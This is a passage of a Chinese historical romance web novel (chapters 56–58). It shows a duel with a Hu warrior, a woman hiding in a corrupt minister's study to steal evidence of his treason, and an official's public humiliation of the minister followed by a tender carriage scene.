二人的视线越过中间的李一彦在空中交汇,刀光剑影当即无声显露。
李一彦的心头无数念头闪过,比如这人为何会单独行动,数量这样少,到底是因为他艺高人胆大,还是这小子初出茅庐不怕死。
有多少可能,胡人的大部队就停在此处不远?
他不动声色地观察着周围的情况。还好,这地方选得好,走过方才那片陡坡,这里方圆十丈内的遮挡并不强,没法埋伏太多人。
至此,一众金吾卫心中也稍稍松了口气,还好不是直接碰上了对方的大部队,对方仅有三人,而他们这边拢共十个,怎么看,都是他们占上风。
但丘林本人似乎并不这么认为,少年反头,朝身后的手下认真道:“还好没听那几个老东西的,自己跑出来了,不然眼下这么几个人,怎么够分的。”
方才徒手撕生肉的大个子胡人点头称是,最末尾的小个子没说话,眼睛阴冷地扫视着四周。
这种认真说出的轻蔑让人没有半分忽视的理由。
“......不知道的以为他们才是人多的呢。”赵六默了默,绷不住低声啐了句。身旁弟兄同他对视一眼,颇有默契地将长枪紧握,齐齐将宋臻圈到身后。
对面丘林将这一切的动作收入眼底,从一见到他开始,这帮人就企图将宋臻藏起来避开他的视线。
但他怎会如中原人的意?“你就是宋家的吧!诶,你说宋濂那老头,竟然生了个娇小姐。”说罢,不带喘气地,他笑道:“花骨朵似的姑娘,遇到事还得第一时间保护着,哈哈哈哈哈哈哈,快回去吧,你爹砍了我爹的头,那就轮到我来砍下他的头了!还是说,你爹老得都提不动刀了,变成缩头乌龟,只能让你一个小姑娘来应战了?”
“让开。”宋臻反手摘下背着的长弓,对李一彦道。
“宋姑娘!不可。”李一彦沉下脸来,将手臂展开拦在她身前,这是一个相当明显的阻拦姿势。“莫要相信这胡子,我等绝不是轻视你的能力,莫要着了对方激将法的道。”
男人认真的神色映到宋臻眼底,他的担忧几乎要溢出来。但面对对方诚恳的劝告与真切的阻拦,宋臻却只是几不可视地停顿一瞬后,轻笑一声,手下用了两分力,将男人绷紧的手臂径直按下:“行了,我有分寸。”
随后在李一彦惊讶的眼神中,一步踏前,脊背绷直,正如手上挽起的长弓,尖锐而骄傲地迎上站定。
即便是身着甲胄,她的背影都赶不上对面大个子的一半,可一身的气势却半分不落下,甚至隐隐压了对方一头。
李一彦阻拦无果,只能用目光紧紧跟随,只见对面的大个子看着宋臻上前,眼冒精光地这就要率先动手。他几乎是立即按住了腰间的佩剑,威胁性地拔出一截来。
“碍什么事。滚到后面去!”丘林挥手喝斥,不耐烦地让属下退后。“这是我同宋家的恩怨,你们是什么东西,哪儿凉快哪儿呆着去。”
两边人马就在这样杂草丛生的山林中,圈出了一片空地。周遭的风吹草动被无限放大,所有人的目光停在了空地中央的二人身上。
这对背负国家与家族的恩怨的武将后代面对面站立,没有寒暄与任何多余的话,不知是谁先拔的剑,或是谁先拉的弓。
“嗡——”
玄铁制成的箭头撞上刀面,力道之大让握刀的少年虎口一震。
“哟,有点意思。”他脸上的笑容扩大,笑意却不达眼底,手上几番变化,“那这样呢?”
弯月大刀几乎在他手中甩出了残影,步伐移动之间沙尘飞扬,“来啊!”
“区区胡贼,还想同我父亲对战?!”弯刀横向劈向她的上身,她扎进马步一个下腰,同时拉弓卸力,“簌簌”三箭齐发。
逼得丘林慌忙后退,“噗呲”一声,躲闪不及,一箭深深插入了他的小臂。
但这丝毫没有影响他的动作,反而激起了他的血性,草原与风沙上长大的凶兽红着双眼,足尖借力猛地跃起一人多高,右手持刀,左手化掌为拳,强劲的拳风伴随着箭矢破空声正面对上!
他竟是以肉身硬生生扛下了宋臻的攻击,然后大刀近身,对准她的脖颈高高砍下——
“到此为止了!”
“你做梦!”宋臻矮身,就地一个翻滚,紧接着长腿贴地一扫,刀锋偏转重重砍在一旁的巨石上,刀尖深入半寸,巨石应声而裂。
“叮叮叮——”
箭矢如雨落下,少年
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的刀法愈发快起来,宋臻的箭矢竟是再也没能突破他的刀阵。
但对战最忌急功近利,众人都心知肚明,他们二人此时的胶着不会是长久之态,盯准一个机会,就会被打破——
“铛!”
这场拉锯终于出现了破绽,落于下风的却是宋臻。方才踩到的陷阱,终究是给她的右脚留下了不适。尽管并不严重,但在这样激烈的打斗中,已经足够敌人抓住机会。
事态急转直下,丘林的长刀无情砍下,刀锋之下,宋臻的脚迟迟抬不动位置。寒光接触到衣摆的一瞬间,“叮——”
飞速过来的石子以不可抵挡之势打偏了气势汹汹的弯刀。
没等丘林大骂出口,金吾卫已经挥舞着长枪一拥而上,两个胡人下属也不傻,眼见形势不对,立马投入了战局。
胡人的体型优势是压倒性的,即便是三个人,也与十位金吾卫打得有来有回,一片混战中,不知是谁按下了谁的刀锋,谁又打歪了谁的红缨长枪,每个人脸上身上都挂了彩。
丘林被不知何处飞出的拳头打得一个趔趄,被守在他身边的小个子胡人及时拉住才没有撞上赵六的枪头。
“这样不行,少将军,我们先撤吧!”(胡语)
“撤什么?我丘林家勇士何曾怕过中原人!”(胡语)
“长老他们还在营地等我们,少将军。”(胡语)
“没有规矩的中原人。”丘林恶狠狠放下这句话以后,强行削断了自己被赵六扯住的衣摆,在大个子胡人的掩护下,几个起落消失在了树丛。
“追!”李一彦当即下令,“不能让他们搬来更多的救兵,张渡何在?”
“大人,方才趁乱张渡已经动身去给陆大人报信了。”
“好,那还等什么,大人定会派人前来救援,此番动身追击,我们便乘机探得他们老巢!待援军到来,将他们一举歼灭!”“是!!”
——
“咚,咚咚。”
敲门声没有停止,敲门的人似乎很有耐心,一下一下,如同催命的钟声。
阮绮华的身体本能地僵直一瞬,看向暗门的出口。
敲门声还在继续,手中的信件变得烫手,她迅速环视一遍周遭的环境,很快便认定暗门内无处可躲。
来不及思考柳春明今天下朝为何如此快,阮绮华眼疾手快地将手一抬一拢,将信纸囫囵塞入怀中,同时将暗格恢复,然后三步并作两步从暗室中迈出。
门外敲门之人就这样不急不缓地持续等着,她不敢想那人到底是以什么样的心情等在门外。
是柳春明一早就知道了她会来,还是柳如霜骗了她?!
质疑的目光投射过去,书房内的气氛拉扯成一条丝线,本就是宿敌之间的临时交易,何来所谓的信任。
意外的,对方察觉到这一点后竟没有任何辩解,只是当即将双手掌心向外一摊,表示自己无辜。然后低声催促阮绮华从暗室口躲开,自己则快速将暗室门关上。
花瓶归位的一刻,外面人的敲门声突然停止。
阮绮华脚下一僵,她锐利的视线指向门口,右手径直抬起,对准了进门的方向——但一切发生地太快了,只见那门吱呀一声,轻飘飘,猝不及防地,被打开了。
【躲好!】
袖箭没有成功射出,一只带着脏污的袖子遮住了她的视线。
从桌子下方狭窄的空间,她看到柳如霜无声地对她说出了这两个字,然后转身迎了上去。
一个本该在柴房待嫁的女儿出现在了府里的禁区。
且不遮不掩。
“父”亲?
柳如霜颤抖的,讨好的声音戛然而止。取而代之的是她骤然提高的音调:“怎么是您?!”
视线被书桌挡住,阮绮华只能从柳如霜奇异的转变中,猜测着对方的身份。
“怎么,你还想要谁过来?”
那人轻轻笑着,红唇轻启,声音平淡却极尽妩媚,仿佛只是同她对话,她身上脂粉的气息便能从每一个毛孔中钻入对话者的四肢百骸。
56. 你的好妹妹
震惊与恐惧交织,千言万语汇作一个字,阮绮华只听面前的柳如霜身子一晃,颤抖地开口唤道:“母亲?!”
清晨的第一缕光照在元氏身上,水红色的裙摆层层叠叠,金光明灭间,元氏不冷不热地瞥她一眼,环视全屋后开口道:“怎么,你以为来的是谁?柳春明吗?”
“不......不是。”柳如霜有些怯懦地回道。
这对母女的相处方式不对。
阮绮华心中闪过这个念头,方才见到来人是元氏时,柳如霜不但没有放松下来,垂下的手反而不由自主地攥紧了衣摆。
“母亲,我不是想要逃婚。我愿意嫁给那胡人首领,只是......”柳如霜的声音不自觉低下去。
“只是什么?只是赵九对你的心思你接受不了?”元氏冷笑一声:“真是养在蜜罐子里的千金大小姐了,这就受不住了。没用的东西,跟你那姐姐一样废物。”
“姐姐?你什么意思?!”柳如霜脸色煞白,一个她绝不愿意承认的猜测浮现在她脑海中。
“还能有什么意思,锁在柴房都能让你逃了出来,我真是低估了你们姐妹俩。当年只是给柳惊鸿下毒,而没有一鼓作气将你这个孽种也除了,果真是失策了。你跟柳惊鸿那个贱胚子不愧是一母同胞的姐妹花,都一样惹人厌。”
?!
柳如霜身子一晃,面色煞白。怪不得,怪不得元氏这些年对她如此严苛,要将她卖掉时甚至眼都不眨。她的手紧握成拳,她突然想到柳惊鸿在看向她时莫名哀伤的眼神,还有大张着想要说些什么却最后无力闭上的嘴,她的身体摇摇欲坠。
但眼下绝不是悔恨这些的时候!柳如霜用力闭了闭眼,再睁开时,她已经强行按下了悔恨:“真让人伤心啊,母亲。养了这么多年,您到底还是没能把我当成亲生......”
“不过事到如今,您说这个怕是没有用了。府里只有我一个女儿,您和我爹还能找出第二个女儿送出去?好了,您不是拎不清的。我爹该要下朝了,您还是识相点先让让吧。”
柳如霜侧过身,这就要从元氏身旁绕过去,但元氏怎会让她这样走,拦在她身前,手掌一翻,道:
“飞出去之前,先让你把柳家的根给斩了?霜儿,还是识相些,把不该拿的拿出来。”
“拿出来,我们一家还可以同以往一样和谐,柴房睡得不舒服吧?听说夜里总有不规矩的老鼠出没,万一惊着你......”元氏笑得意味深长,“听说胡人并不在意女子贞操一类的小节,但我养如珠如宝地你许久,总归是心疼你的,我也不愿你受到阿猫阿狗的骚扰。你将东西拿出来,有个认错的态度,今日你来书房的事,我也就当做没看见,再者说,我也好去劝劝你阿爹。”
“不然的话,依他近日的心境,怕是很难得放过你今日的莽撞了。”元氏的掌心平摊在柳如霜面前,她笑得虚情假意,话说得软和,身子却没有半分要让开的意思。
尚书府大门外,马车车轮缓缓停下。
一身靛蓝官服的柳春明一迈进门,面上勉强维持的平静立马沉了下来,似乎有什么事情让这位威望极高的老臣极为烦躁,连头上的进贤帽[1]都一把扯了下来,随手扔到身旁侍从的怀里。
“赵九呢?”柳春明注意到跟在身后的侍从换了人,不耐烦地问道。
“回老爷,赵九......赵九在书房当值。由小的来服侍您更衣。”小侍低着头诺诺道。
“府上这样多的下人,都是废物吗?非得让赵九当值,我看你们这帮人都没有留下来的必要了。”
“去管家那处领赏吧。”
“老爷,老爷!”那小侍面露惊恐,这府里无人不知老爷口中的“领赏”代表着什么——用沾了盐水的鞭子鞭挞,直到人昏死过去。
刚进府的下人哪能攒够治病的药钱,领了赏,想必就要丧了命。
柳春明讨厌吵闹的环境,更讨厌不自量力的下人。有经验的管家知晓这一点,朝府卫使了个眼神,府卫立即上前捂住小侍的嘴拖了下去。
管家则是快步向前:“老爷,您今日可还需去更衣,还是”“自然,怎么,连你也糊涂了,这点日常的小事也失了把控?”
管家的话尚未说全,就被柳春明顶了回去。
显然,柳春明今日心情不佳。
他小心地跟在柳春明身后半步处,时不时朝前偷偷喵一眼柳春明的眼色,面上的犹豫之色都要溢出,有什么话咽了又咽,还是没忍住开口:“老爷,还有一事,想同您汇报。”
“何事?”柳春明脚下不停,这就要迈进自己的院子。却在听到管家的话后,生生调转了脚尖。
只听管家低声道:“方才有下人来报,昨夜似乎有人听见了柴房那边有男人的动静。”
“男人的动静......”柳春明转过身,锐利的目光看向管家:“有派人去确认过小姐的情况吗?”
“回老爷的话,派人去柴房看过,门锁完好无损,但敲门没有人应声。不知是不是前两日夜里寒,小姐,小姐染了风寒,不便应声。”
“这种小事还需猜测?柴房钥匙在赵九那处吧,让他把门打开,看一眼情况便是。”
“是,老爷,但是,但是据昨夜值守的小仆所报,赵九似乎没有按时去书房换值。”
“什么?”柳春明的声调骤然拔高,又是上了锁的柴房出了事......被那帮蠢蛋折磨一早朝而混沌的灵台瞬间清醒,傻子都能意识到这是不寻常的信号。
他深深剜了一眼面前的管家,真是一帮愚钝的,反应迟缓的蠢货!
这位并不年轻的两朝老臣撩起外袍匆匆往外走,他的面色阴沉得能够滴出水,“立刻派人封锁书房,我现在过去。”
“是!”
躲在书桌底下,听到了一切的阮绮华免不了焦灼,东西在她手上,柳如霜就算是想也拿不出来。
这样僵持下去,只怕是一个元氏没走,又要来一个柳春明。
门外传来多道脚步声,不止一个人在靠近。
不好!屋内三人的呼吸同时一滞,她们都无比清楚这些围过来的人意味着什么。
柳春明要来了!
“快把东西给我,不然你就再别想走掉了!”元氏气急,面上淡然的神情变得扭曲。
“你当真以为我会这样傻?柳春明怎么会真的相信别人,我不能进书房,难道你就能了吗?你那么想要我手上的东西,难道不是因为,你想拿这个来要挟他么?母亲。”
“我听不懂你在说什
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么混账话,快把东西给我!”
“你怎么会听不懂呢?他把你从青楼赎出来,许你财富与地位,用花言巧语哄骗你让你以为他爱你,却在毒药到手后第一个拿你的亲生孩子做药人,母亲,你恨毒了他。”
“你哪里是怕我拿到柳春明通胡的证据,你只是想握在自己手上,亲手把握住柳春明的命根子吧?”
元氏笑得癫狂:“既然你知道,还不赶紧如了我的愿?我的好女儿,待我拿下这证据,将整个柳家牢牢掌握住,我承诺,给你和柳惊鸿留下一处安身立命之所。好了,比起柳春明,你难道不更要相信我吗?虎毒不食子,但他可是亲手将他的三个女儿,一个一个推进地狱啊!”
门外的脚步声愈发靠近,有侍卫的身影在薄薄的窗纸外晃动:“夫人,是您在屋里吗?”
外面的问询声催命似的传进来,元氏的眼神逐渐凶狠,她不愿再跟柳如霜废话。“留着你只是为了送个顺水人情,不过是个有些姿色的女人,你以为你真是无可替代吗!快给我!”
“你做梦!”
元氏步步逼近,即便在柳家当了那么多年当家主母,她在青楼跟其他女子扯头花时练就的缠斗技巧还是未曾生疏,一手就抓住了柳如霜的发髻。
不是,这是何等诡异的走向?!
藏身桌底的阮绮华有些不合时宜地怔楞,与此同时,外头又传来一声喊,“夫人,您在里头的话麻烦您回应一声,老爷正在过来的路上。”
该死的,快给我。元氏暗骂一句,高声对外应道:“我知道了,很快便出来!”
“很快?为何要趁着我不在,进我的书房,然后在我回来之前,很快出来?”
冷不丁地,有人推开了门。柳春明带着怒气的声音出现门口,正在缠斗中的两女双双怔住,一齐反头看向柳春明的方向。
“好,很好。”明令禁止私自踏足的地方,竟然同时迎来两位客人,柳春明怒极反笑,“你们真是好大的胆子,这样忤逆我的想法,你们考虑过后果吗?来人!”
“给我把夫人押到水牢去,夫人,我觉得你上次提的水牢甚是不错,正好让你去感受一下吧。”
“至于霜儿,呵。”他冷笑一声,“既然你在这里,那看守柴房的赵九,应当已经被你杀了吧?不错,我柳家的女儿,杀个下人无伤大雅。但是......你无视我给你的禁足指令,出现在此地。”他停顿一下,似乎在思考如果将柳如霜送进水牢,怎么跟说好要她的胡人头子交差。
“罢了,算你这张漂亮脸蛋还有些用处。管家!送回柴房吧,你亲自在柴房日夜看守着,在明日太阳落山之前,我不希望再出任何岔子。”
“是!”
“还有,夫人那边仔细着点,别要了夫人的命。”
“是。”
“砰——”书房的门被人打开,又被重重关上。
男人的到来,让屋内的闹剧戛然而止,方才吵闹的屋内,如今安静得可怕。
柳春明背着手,在屋内缓慢踱步。
他的目光环视整个书房,似乎这里每一件物品的任何一点细微变化,都逃不过他的眼睛。
然后,他的视线停留在某一处,脚步径直前行——
那是阮绮华藏身的地方。
57. 不要脸的祖宗
屋外的府卫严阵以待,屋内的人静静对峙,日光被拉得无限长,阮绮华本能地抚上了袖箭。
这样的情况,她只能一击必杀。不然,只要柳春明有半分不对劲,门外的府卫就会立马冲进来将她撕碎。
可若是不能在柳春明发现她的一瞬间一击制敌,正面对上,她有多少胜算?
冷汗从她的额角冒出,柳春明高六尺,体型是她两倍,想要强行近身搏斗几乎无解。但若没法近身,这个距离下,她就算是想药倒对方,柳春明呼救的声音也一定快过她的动作。
书桌底部的缝隙处,她看到靛蓝官袍的下摆步步逼近。
柳春明不动声色地按在腰间匕首上,发间的银丝不仅没有给他增添半分老态,反而让他看起来像精明的银狐。
阮绮华慢慢挺直了脊背,指腹用力捏住银针。
隔着薄薄桌板,二人的呼吸以同一频率交织。
“咔哒——”
“老爷,老爷!!!”隐隐约约的,外头突然嘈杂起来,门外的管家扯着嗓子大喊,隔着门板都拦不住他火烧眉毛的惊慌失措。门板被他拍得震天响,连带着一旁上好的檀木画框都摇摇欲坠。
柳春明从未听过自家管家如此着急的声音,“老爷,老爷不好了!您快出来看看呀!”
他深深蹙眉,扭头吼道:“何事如此着急,天塌下来了吗?!慌慌张张的都没个章法了!”说罢又顿了一下,瞥一眼书桌的方向,然后靛蓝官袍快速飘向门口......
阮绮华心下稍稍松了一口气,下一瞬间。
“刺啦——”书桌前的太师椅在地面上摩擦发出刺耳的声音,不是,他没有去开门!
从桌底看过去,只穿着中衣,上半身沉浸在阴影中的男人面孔骤然放大,“找到你了!...?”
这片堪称空荡的书房,能藏下人的不过就一个宽大书桌之下,再无别处。
可眼前,拉开太师椅后书桌下方的空出分明是无人存在。
人呢?
柳春明皱着眉俯下身子,再次确认下面没有人。难不成真是他多心了?可以方才他进来时,明明直觉这屋里不止三个人。
门外的管家急得顾不得礼节,拍门的力道之大,几乎要将门掀翻。“老爷,老爷真的等不及了,陆大人在门口提着刀闹事,身后气势汹汹一片金吾卫跟着,喊着要来抄家!”
“什么?好他个陆临渊,他吃了熊心豹子胆了,敢抄我的家?我这就来!”柳春明心下短暂地一顿,难道是西郊那边......
不对,肯定不是。就算是,他们也没有证据。“可听见什么别的话了?”
“小的听说,听说是季大人醒了。”管家唯唯诺诺。
柳春明怒不可遏,季赫楚那个成事不足败事有余的废物!他直起身,匆匆迈出书房门,临出门前阴沉地扫视一圈屋内,重重哼出一声来。
“留两个身手利索的,在我回来之前给我把书房门盯好了!其余人跟我走!”
真是撞了邪了,柳春明匆匆披上外衫。
今日的破事闹个没完,今日早朝上,他顶着心烦看小皇帝纵着赵尚书那个酒囊饭袋耍宝。好不容易等到要下朝,宋濂那个老东西也不知抽了哪门子风,冷不丁地就上下嘴皮子一翻,叉着腰站在武将之首对赵尚书所属的文官行列阴阳怪气。
那宋濂一介武夫,说起话没轻没重的,听得他心火直冒,又不好直接翻脸去同战功赫赫的老将斗嘴,只能害得他被迫受了一遭窝囊气才得以脱身。柳春明咬牙,握紧拳头往门口走。
季赫楚这个扶不起的烂泥,自己把他捧到翰林院才多久,他自个儿折损了不说,还企图给柳家拉下去?就他手上把握的那点东西,他也配?
门口处,只见乌泱泱挤着一片人。卖豆腐的老头肩膀上挑着扁担,手上抱着孙子,“小虎子看见没,那是陆大人,大理寺的陆大人!后头跟着的是他的金吾卫,他们每日的职责就是要抄家,给我们大雍的贪官全部都抄了,男男女女全抓起来蹲大牢。你看见没,不听话,当贪官,陆大人就派金吾卫给你抓起来蹲大牢!”
“我不要蹲大牢,我不要蹲大牢,呜哇!”
“把大门开开。”柳春明黑着脸站在正中,扭头跟门童吩咐。
门童点头应下。朱红的大门被推开,刚露出一条缝,人群中不知何处就飞了块豆腐过来。
啪。
好巧不巧,正好砸在为首的柳春明脸上。
带着馊味儿的豆腐被砸成了渣,也砸乱了柳大人的头发。豆腐渣一块一块斑驳地挂在他发间、胡须上。
看热闹的人群中寂静半晌,“大贪官变成大花脸喽!”不知是哪里先传来的稚童的声音,人群中霎时一片哄笑。
人群最前,骑着高头大马,腰间挂着宝剑的陆大人被这动静吸引过来,面上还是挂着他一贯的温和的微笑。
但这笑落在柳春明眼里可就不是温和了。他面色铁青,纵横朝堂大半辈子,即便是当年初出茅庐时,也从没这样丢脸过。“这这这。”落后半步的管家老脸一抖,大惊失色,好一阵手忙脚乱,手抖了三次,才堪堪维持住了柳大人大体的得体。
“柳大人倒也不必唱此大戏。”陆大人噙着笑,单手拎着剑,朝柳春明道。
柳春明一口牙差点咬碎,他挥开身边的管家,“陆大人有话不妨直说。今日领着这诸多的金吾卫堵在老夫府上,嚷嚷着要抄家,陆大人,你知道这是怎样的侮辱。我柳春明入仕多年,为大雍为百姓矜矜业业,今日你拿不出证据,不给老夫一个说法,改日,你这个大理寺卿,我看也不用做了!”
“诶,稍安勿躁呀,柳大人。”陆临渊居高临下,一面摇头一面用“怎么一把年纪了说话做事还如此沉不住气”的眼神看柳春明。
直到柳春明气得脸上由青转红,眼看着头顶的火要蹿出天灵盖,他才悠悠开口道:“柳大人方才有一话说得不对,本官可没说自己是为了抄家而来。”
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>“那你带着金吾卫来堵什么门!”敢在柳春明面前称本官的可没几个人,偏生眼前的就是一个。
柳春明一口气噎在喉咙中,上不去咽不下来,丝丝缕缕顺着风送过来豆腐渣的馊气让他额角的青筋直跳,这已经够乱了。更不用提周遭看热闹的百姓一层层围了过来。
脸皮再厚的老臣也经不住这样的丢脸情景。
“柳大人此言差矣,他们可不是本官带来的。”陆临渊笑得真心实意“本官今日来找柳大人,只不过是想问问您何时方便,近日来季大人身子有好转,有些事想同您讨论。”
“只不过本官没想到,柳家的大门关得如此严实,本官的下属连续叩了半天门,才将将叩来一条缝。”陆临渊提着剑,看向柳春明没擦干净的脸,意有所指。
“至于各位金吾卫弟兄们。”他顿了顿,无视柳春明已经要杀人的眼神,好脾气地偏头示意道:“不过是恰好路过柳大人您的府邸,看见本官叩不开门,一起等待片刻罢了。”
柳春明的脸色已经只能用色彩缤纷来形容了。“你!”
“来得突然,没耽误柳大人正事吧?本官原本也是想提前同您说的,只是下朝时您家的马车行得太快,大理寺马儿跑得慢了些,实在是没赶上。不过,感念季翰林是您一手提拔上来的,他身子好转,您应当也是最先为他高兴的。是吧?”
陆临渊把玩着手中的剑穗,语气中满满的体谅。周遭的百姓连连点头,“许久没见到季翰林,原来是身子不适。”“陆大人有心了,特意一下了朝就赶过来知会柳大人。”
柳春明气得面色一阵红一阵白,身子甚至微微发抖,却半个字都说不出来。牙关都要咬碎了,终于维持住颜面,挤出一个狰狞的笑来,颔首称是。
不愧是官场沉浮多年的老臣,这样的场面,终究还是被他控制住了面部表情,他端出虚浮的客气的微笑:“那陆大人话说完了,现在还有什么贵干?”
陆临渊偏头,似乎沉思了一会儿。在瞥了一眼某个方向后,终于下定决心。
“今日原本只是想同大人分享一个好消息的,没想到......让大人见笑了。”他朝后高高昂首,示意金吾卫领着百姓让开一条道。
“改日,您方便的时候,欢迎来大理寺看看季大人。他从昏迷中苏醒,不停念叨您的名字,当是有不少话想同您说。”
说到“您方便的时候”,陆大人十分贴心地打量了一下柳春明的两鬓处尚未清理干净的豆腐渣。
险些将柳大人气得绷不住面子上的和谐。
但主人家站在门口送客人走是惯例,陆大人一面客气地摆手,示意柳大人不必久站,一面不忘了跟百姓亲切笑道:“柳大人果真是个守礼的,顶着脏污和恶臭,也得目送客人离开。”
声音不大,却刚好传到在场所有百姓耳里。该死......柳春明咬着牙,在众人眼神压力下,硬是在门口目送直至大理寺一行人消失在视线外,才砰地一声关上了府门。
58. 本官何曾落泪
“该死的陆临渊,再让他嚣张一日。明日,最迟明日午时,我要将他压在菜市口,踩在烂菜臭泥下,当众要了他的命!”
......
从柳尚书府拐出来三个胡同,一辆马车摇摇晃晃,马车后跟着一众凶神恶煞的金吾卫。
“咱这么干合适吗?”一金吾卫跟在队伍后,悄么声开口。
同伴白他一眼,“你管呢!大人的吩咐你也敢质疑,别说今儿就是去堵个门,就算是要咱半夜去柳家放把火,咱也得乐呵的去啊。”
“哎我不是说这个,我是说......”男人瞟一眼摇晃的马车,“你说大人方才是不是从柳尚书府偷了个人出来?驳了面子还偷他的人,柳尚书怎么说也是个大官,咱现在簇拥着陆大人堂而皇之地......晃马车,合适吗?”
偷人,晃马车?!同伴有些惊悚地朝陆大人的马车望过去,四平八稳的车厢看不出什么呀......等等,金色的穗子从顶端荡秋千一样晃来晃去。乖乖,这摇摆幅度,是挺激烈。
“咳咳——”
马车内,压抑着怒意和担忧的声音隐隐传出,男人紧紧盯住手忙脚乱的女子,视线一错不错,仿佛生怕一个眨眼,人会从他眼前消失:“你怎能这样冲动,明明答应了我不去,转头就偷偷行动了。独身一人潜入尚书府,你这样,可曾想过,万一你出了事,你阿爹阿娘该如何是好,我又该如何是好?”
他正对面,正着急忙慌从袖中掏东西出来的少女抬头,嘴上满是安抚,手上的动作却丝毫未停:“好了,陆大人,你看,我这不是没事儿吗?”
方才在柳尚书府门口气定神闲的陆大人算是体会到了一把什么叫有气撒不出来。
一连数次了,青雀舫上,西郊山下,尚书门前,每次他见到阮绮华,总有一身无可奈何的气,不知是气什么,也不知该朝谁发。
眼前的人娇小得仿佛轻轻一用力,就要折了骨头。自己恨不得将她藏到密室里,她却总是不以为意,见天地干着那些闯龙潭虎穴的事。
自己分明严词拒绝了她,结果吃个饭的功夫,就看到桌上她放的信,里头寥寥三行字爸他看得头晕眼花。本想命人去拦她,却收到探子来报,钦天监监正在尚书府后门捡了个宝贝,鬼鬼祟祟着急忙慌地命人抬着箱子送进尚书府。
天杀的,还能是何等宝贝,当然是他的宝贝!
听着消息的他眼前一黑又一黑,整整一宿没睡。头半夜将宋濂,赵尚书从塌上掳走,敲定第二天上朝的计划,后半夜翻来覆去还是睡不了,亲自到柳春明院里守了一宿,愣是看着柳春明毫无察觉地去上朝,才终于放了心。
陆临渊气得牙痒痒,不经意瞥到阮绮华衣裳上的尘土,眼见着又要发作。阮绮华赶忙开口安抚:“莫要生气,莫要着急......你看我,这不是全须全尾地回来了吗?还带回来这许多的收获......这可都是证据......什么?证据哪有我重要?别说傻话,证据当然没有本小姐重要......但是眼下它确实很重要......好了好了......我知道你看了字条一定会来接我的。你要是恰好没看到怎么办?没看到的话那就......诶你看你别激动,你寒疾还没好呢,一激动还得咳嗽......喝口水喝口水,大人你别哭呀!”
阮绮华目瞪口呆地看着对面光风霁月的陆大人,从他不停咳嗽染上绯意的脸,看向通红含泪的眼。
手中将要递出去的茶盏顿在了半空。她有些木楞地看着眼前的男人,一时间竟不知手脚改如何摆放。堆在脚边乱糟糟放着的证据信件,手中发烫的茶盏,全都化作了乌有。
剧烈地咳嗽让永远挺直的脊背微微佝偻起来,低低露出一截瓷白里透着红的皮肤来,男人全然不知自己的情态,长长的鸦羽低垂下来,不经意看她的一眼,眸子里全是委屈。“本官何曾哭了?没有。”
乖乖,她该如何掩饰自己心头翻涌着的,奇特的兴奋?
见她愣住,那张绯红的薄唇一张一合:“你呆愣着做什么?手指头都烫红了!”纤细修长的手伸到她面前,利落地夺下了那茶盏。
陆临渊随手将茶盏搁置到矮几上,几番折磨,他实在是......实在是拿她没有办法。“你这样懵懂,竟还敢独闯龙潭虎穴。真是太胡闹了。”哪怕同我说说也好呢?即便我不答应,也拗不过你执意要去的,至少能给你备些人手。
也不至于一颗心被你捏在手里,你动一下,它便酸涩一下。
顾不得礼节了。他知道自己顾不得了,他将阮绮华的手紧紧包裹在了自己的掌心,反复揉捏。“都烫红了,也不知道呼痛。衣裳都破了,满是尘土,不知道的还以为你是去何处打滚了......罢了,罢了,回来就好,回来就好。”
能气他也好,让他操心也好。他再也不想看到满身血污,一动不动躺在甲板上的阮绮华了。
“还疼吗?”
“不......”本就是小事,只是红了些,没肿也没有起疹子。“放心些,我会医,你知道的,我能保住自己的命,我向你保证。”
陆临渊抿唇,不赞同地看她一眼。又低低咳嗽两声,似乎是想身体力行地告诉她,是有她治不了的病的。
“你会好的,你应当信我。”阮绮华很笃定,她坚信自己的能力,以至于不自觉挺直了脊背。
凤目抬起,挺翘的鼻尖和尖细的下巴,修长的脖颈连成漂亮的线条。
满身的尘土没法影响她的气质,不需要任何珠宝和绫罗绸缎的陪衬,她像个永远昂首的凤凰。
她看见陆临渊笑起来,先是浅浅的勾起唇角,然后是愈发扩大的笑容,最后甚至不可抑制地笑出声来,眼里是她看不懂的水一样的情绪。
“我信你的,我怎么会不信你。等你将我治好了,我就将阮大神医的招牌打出去。你再也不必遮遮掩掩行医,我保证,无人敢打你阮神医的主意。想听戏便听戏,想救人,就救人。”
没有医者愿意守着自己的一身本事,看着苦命人受罪而没法救。阮绮华高兴起来,她自认当得起神医的名头,也希望能救更多人。
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>她的眼睛亮亮的,陆临渊便随着她的开心而一起高兴。
“京城的风土人情不比江南,阮大人不愿在京城,便保留他的官职,任他回江南去;上次在青雀舫上,随你一块上船的马夫李泉,忠诚护主,他若是愿意,可随你们一同回江南,若是不便带他,他留在京城,可加入金吾卫谋个差事。”陆临渊笑着握住她的手,眼神如水般温柔,“这些时日,你在京城里遭了不少罪。是我不好,我本以为将你一家拢到眼皮子底下护着,柳春明就动不了你阮家的金银。没想到,反倒让你受了苦。明日之后,你可随阮大人一同回家。”
他在同她许诺,连带她的家人,乃至护着她的仆人,都有了当朝最煊赫的陆家的庇佑。
“......那你呢?”
她瞥一眼脚边堆积的信件,上面明明白白写着,是柳春明同各路人士的联络往来。
书房里的密室,书桌里的信件。她毫不怀疑,自己拿到的东西能够将柳家颠覆。
陆临渊避开了她的问题,他将视线转向了地上散乱的证据。随手拾起一封信件来,打开信封,抽出里面的信纸快速扫过,然后对阮绮华赞道:“这是柳春明同胡人的少主丘林轩沟通的铁证。阮阮,你做得很好。”
“不过据我所知,柳春明此人胆小谨慎,这样重要的物证,定会珍而重之地藏好。能告诉我,你是如何拿到的吗?”
对陆临渊,她当然没什么好瞒的。更何况她方才一上马车,气还没喘匀便想同陆临渊炫耀一下自己是如何身手敏捷,智勇双全了。
阮绮华心中满是骄傲。当即便竹筒倒豆子似的,从盯准钦天监监正出门的路线,伪装成毫无防备走在小胡同,中了他的迷药被他装进木箱,到解救柳如霜,借她的身份溜进书房。
“......真是好大一出戏,元氏闯进来要挟柳如霜,两人僵持不下,最后被黄雀在后的柳春明一并押了下去。”一刻钟不带停歇地叙述让她的嗓子有些发干,阮绮华抿了口茶水。
“那你躲在何处呢?”
“书桌底下,他的书房不大,有人进来,几乎是对整个屋里一览无余。我只能堪堪缩在下方。”
“可你方才说,我赶到时,柳春明正谨慎地搜屋子,他落了搜书桌下方吗?”
“不,他细细搜查了。”
“那你当时......?”
“我在他背后。”阮绮华有些得意地说道。
柳春明佯装离开,其实是来搜书桌底下。幸好她眼疾手快,躲到了书桌侧面,躲过了一劫。
还误打误撞找到了证据真正的藏匿之地。
